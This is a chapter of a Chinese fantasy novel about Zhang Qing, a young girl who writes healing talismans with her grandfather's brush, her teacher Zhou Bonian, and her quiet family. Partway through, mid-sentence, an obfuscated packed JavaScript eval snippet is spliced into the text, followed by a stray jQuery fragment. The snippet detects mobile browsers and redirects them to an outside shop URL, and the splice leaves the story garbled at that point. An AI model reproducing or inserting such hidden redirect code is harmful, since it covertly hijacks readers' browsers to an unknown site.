班车在厂区门口停了。
张清下了车。
下午三点的阳光，二月份的，没什么温度。照在身上不暖，但比赵庄的风好，至少没有从四面八方刮来。
她站在路边，活动了一下腿。坐了半个多钟头的车，腿有点麻。
厂区门口的老杨树还在。枝丫上挂着的那层霜化了，滴着水。一滴一滴，砸在树根的泥地上。
门口的小卖部开着，老板娘坐在门槛上嗑瓜子，收音机搁在膝盖上，放的是刘兰芳的评书。瓜子壳吐了一地。
张清往家走。
路过厂区宿舍楼，有人从楼道里出来，是隔壁的刘婶。她看见张清，笑了一下："放学了？"张清点了点头。她没有说今天没去上课，请了一天假，去的赵庄。
刘婶也没多问。她拎着菜篮子往菜市场走，棉鞋踩在水泥地上啪嗒啪嗒响。
张清看着她的背影。刘婶，是第一个被她写的"安"字治好失眠的人。两年前的事了。她现在还睡得好吗？应该好吧。她老公又买了一箱鸡蛋送过来，母亲没让收。
她继续走。
宿舍楼的阳台上晾着被子，花花的，红底白花，蓝底绿花，一家挨着一家。有人在楼下生炉子，劈柴引火，烟直往上窜。两个小孩在楼道口拍洋画，趴在地上，弄得一身土。
她往家走。
还没进院门，就看见了周伯年。
老人坐在院子里的石凳上，面前放着一杯茶。茶已经凉了，他也不知道坐了多久。
"回来了？"周伯年问。
"嗯。"
"怎么样？"
张清走到石凳旁边，坐下来。
"赵庄。"她说。"赵家老宅。地势低，地下水渗上来，水气郁结。鸡不安，猪撞圈，人做噩梦。不是鬼，不是邪，是地下的水。"
周伯年点了点头。没有追问。等她继续说。
"我写了一张'安'字符，贴在正梁上。又让他们在东北角挖排水沟。"
"用了朱砂？"
"嗯。"
"笔胆用了多少？"
"一道纹路。"
周伯年沉默了一会儿。
"还有呢？"
张清犹豫了一下。
"赵家的老人，赵老爷子。他认出了我爷爷的笔。"
周伯年的眼睛一缩。
"认出了？"
"他说，四十年前爷爷去过赵庄。看过一口井。说下面有龙脉，不能打。后来井还是打了。"
"……"
"他还拿了一张纸出来，爷爷当年画的'镇水符'。二十多根线条。我画不出来。"
周伯年端起凉茶，喝了一口。
"你爷爷，当年在赵庄看井，就知道以后会出事。"他说。"所以他留了'镇水符'。可惜，没人贴。"
"我的'意'，还不够画'镇水符'。"
"不够就练。"周伯年说。"你的'意'已经比同龄人强十倍了。但，比你爷爷当年，还差得远。"
"差多远？"
"你爷爷三十岁的时候，能用朱砂画二十八根线条的符。"周伯年说。"你今年十二。还有十八年。"
"十八年？"
"急什么。"老人看了她一眼。"你爷爷从八岁练到三十岁，练了二十二年。你才练了两年，急什么？"
张清没说话。
但她在心里算了一笔账，笔胆的纹路在增加。每次用一次，就多一道。爷爷的笔用了六十年，笔胆还没烧完。照这个速度……也许能撑到她三十岁。
也许。
张清低头看着自己的手。
瘦。指节长。中指侧面有一个茧，握笔握出来的。指甲剪得很短，指缝里还留着一点没洗干净的墨痕。
"周老师。"她说。"赵老爷子说，'我等你'。"
周伯年看着她。
"那你，就让他等着。"老人说。"等你能画了，再去。"
那天晚上，张清回到家。
母亲在厨房做饭。菜香味飘出来，白菜炖粉条，加了几片腊肉。
"回来了？"母亲从厨房探出头。"洗手吃饭。"
张清洗手的时候，看见堂屋桌上放着一双新棉鞋。
黑面白底，老北京布鞋的样式。鞋底厚，鞋面是灯芯绒的，不是最贵的，但比她脚上这双强多了。她脚上这双，鞋帮已经开了线，走路往里灌泥。
"谁买的？"
"你爸。"母亲说。"上午出去了一趟。说你出门看事，不能穿着破鞋去。"
张清看着那双鞋。
父亲没说什么。就买了双鞋，放在桌上。
她穿上试了试。合脚。暖。鞋底是千层底的，踩上去软实。脚趾头在里面舒展开，不像旧鞋那样挤得慌。
晚饭。
三个人坐在堂屋的八仙桌旁。一盏日光灯照着，白惨惨的光。
父亲喝着粥，没说话。母亲夹菜，也没说话。
张清低头吃饭。
吃到一半，父亲开口了。
"看好了？"
"嗯。"
"什么问题？"
"地下水。"
父亲点了点头。又喝了一口粥。
沉默。
母亲夹了一筷子腊肉放在张清碗里。"多吃点。出去一天，肯定饿了。"
张清低头吃肉。腊肉是去年冬天腌的，挂在阳台上风干了好几个月。切成薄片，肥瘦相间，咬下去咸香咸香的。白菜炖得烂，粉条吸了汤汁，滑溜溜的。
"赵家的人，说什么了？"
张清想了想。"认出了爷爷的笔。"
父亲的筷子顿了一下。
他没有追问。只是顿了一下，然后继续吃饭。
母亲看了父亲一眼，没说话。
吃完饭，父亲去刷碗。母亲收桌子。
张清站在堂屋门口，看着院子里的月光。
二月的月亮。不是很亮，但够照出地上的影子。
院子里那棵枣树投下一团黑影，枝杈的形状印在泥地上，像一只伸开五指的手。厨房的灯还亮着，从窗户里透出黄光，照在洗碗池的方向。
她想起赵老爷子的脸。想起那张泛黄的"镇水符"。想起爷爷四十年前走过的路。
"张清。"
她回头。父亲站在厨房门口，手上还沾着洗碗水。
"嗯？"
"鞋合脚不？"
"合。"
父亲点了点头。转身回了厨房。
张清看着他的背影，瘦，背微驼。穿着一件洗得发白的灰毛衣。
她忽然想起周伯年说过的话，"你父亲不是不懂。他是不说。"
不说，不代表不在意。
那双鞋，就是他说的全部。
第二天一早。
赵师傅来了。
他骑着自行车，十五里地，骑了一个多钟头。额头上有汗，二月份的冷天，骑出了一身汗。车把上挂着一只编织袋，鼓鼓囊囊的，也不知道装了什么。
"张清——"他在院门口喊。"我爹让我来跟你说，昨晚好了！"
张清从书房出来。
"好了？"
"我爹，没做噩梦！睡了整觉！我媳妇也不咳了！鸡也不叫了！"赵师傅的眼眶红了。"三年了，三年没睡过整觉了！"
张清点了点头。
"排水沟开始挖了吗？"
"挖了！天没亮我就动手了！"赵师傅搓着手。"张清，那个，我爹说了，要谢你。你要是——"
"不用谢。"张清说。"排水做好就行。做好了，以后不会再犯。"
赵师傅张了张嘴，想说什么，但没说出来。
他低头看了看自己沾满泥的手，又看了看张清，十二岁的瘦小孩，穿着蓝布棉袄，脚上一双新布鞋。
"张清。"他说。"我爹让我问你，以后要是还有事，能不能……再来找你？"
张清想了想。
"找我老师也行。"她说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809199|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。"周伯年。就在厂区里。"
"你老师，那个老先生？"
"嗯。"张清说。"他能看的，比我多。"
赵师傅使劲点头。"行！我记住了！"
他解开编织袋，从里面掏出半口袋花生，硬要留下。张清推了两回，赵师傅急了，说赵老爷子交代了，不收就不让他走。张清只好收下。
他骑上车，走了两步，又停下来。
"张清，"他回头。"你爷爷当年，我爹说他看了那口井，什么工具都没带，就站在井边看了一会儿。然后说'不能打'。"
张清看着他。
"可惜没人听。"赵师傅摇了摇头。"要是听了，我爹也不用受三年罪了。"
他蹬上车，骑走了。
张清站在院门口，看着赵师傅的背影消失在巷子拐角。
周伯年不知道什么时候走到了她身后。
"你说得对。"老人说。"让他来找我。你才十二，不能什么活都接。"
"我知道。"
"还有，"周伯年看着她。"赵家的名声会传出去。你做好心理准备。"
"什么准备？"
"以后，找你'看事'的人，会越来越多。"
张清沉默了。
她想起父亲的话，"不要让人知道你是谁。"
也想起赵老爷子的话，"我等你。"
两条路。一条是藏，一条是露。
她不知道该怎么选。
但周伯年替她选了。
"能帮就帮。"老人说。"帮不了，就说不。这不是逞能的事。你爷爷当年，就是不会说不。"
张清点了点头。
她转身走回书房。
桌上还摆着乌木笔。笔杆上的纹路，又多了一道。
她数了数。
一共十五道了。
不知道笔胆还能撑多久。
她坐下来，在砚台上加了点水，拿了一支普通的毛笔，不是乌木笔。乌木笔用过了，今天不能再用了。周伯年说的，一天一次。
她在毛边纸上写了一个"永"字。
普通的毛笔，普通的墨。写出来的"永"字，没有光，没有气，只是纸上的一个字。
但张清知道，这个字里有"意"。不是符的"意"，是练习的"意"。日复一日、一笔一划练出来的"意"。
她写了一个又一个。
"永"。"永"。"永"。
每一笔都在练。每一笔都在把"意"走得更深、更稳。
毛边纸写满了一张。翻过来，背面还能写。她接着写，墨迹透过纸背，在桌面上留下一块块黑印。
爷爷画了六十年。她才两年。
不急。
周伯年说的，急什么。
屋里的煤球炉灭了，只剩一星半点的红。她蹲下来，拿铁钳拨了拨炉膛，灰白色的煤灰簌簌往下掉。冷气从门缝里灌进来，她的鼻尖发凉。
桌上的砚台结了一层薄冰。她哈了口气，冰面化开一圈，露出底下的墨色。毛边纸摞在桌角，最上面一张被风吹卷了边，镇纸歪在一旁。
她把镇纸摆正，压住纸角。然后拿毛笔蘸了蘸砚台里的冰碴子。墨汁很凉，笔毫吸饱了墨，沉甸甸的。
窗外天色发青。厂区的喇叭没响，今天不广播。远处有公鸡叫了两声，拉得很长。
她坐到桌前，把本子翻开。新的一页，空白。她拿起铅笔，在最上面写了一行字：腊月十七，回路。
笔尖在纸上划过的声音很轻。屋子里太安静了，安静得能听见自己心跳。她写完那行字，把铅笔放下，手指在桌面上敲了两下。
桌子是老式的三屉桌，漆皮掉了大半，露出底下发灰的木头。抽屉拉手是铜的，氧化发绿。她拉开第一个抽屉，里面放着几支秃毛笔和半块松烟墨。墨块缺了一角，断面发白。
她拿起乌木笔，握在掌心。
跳动。一下。两下。三下。
还在。
还在就好。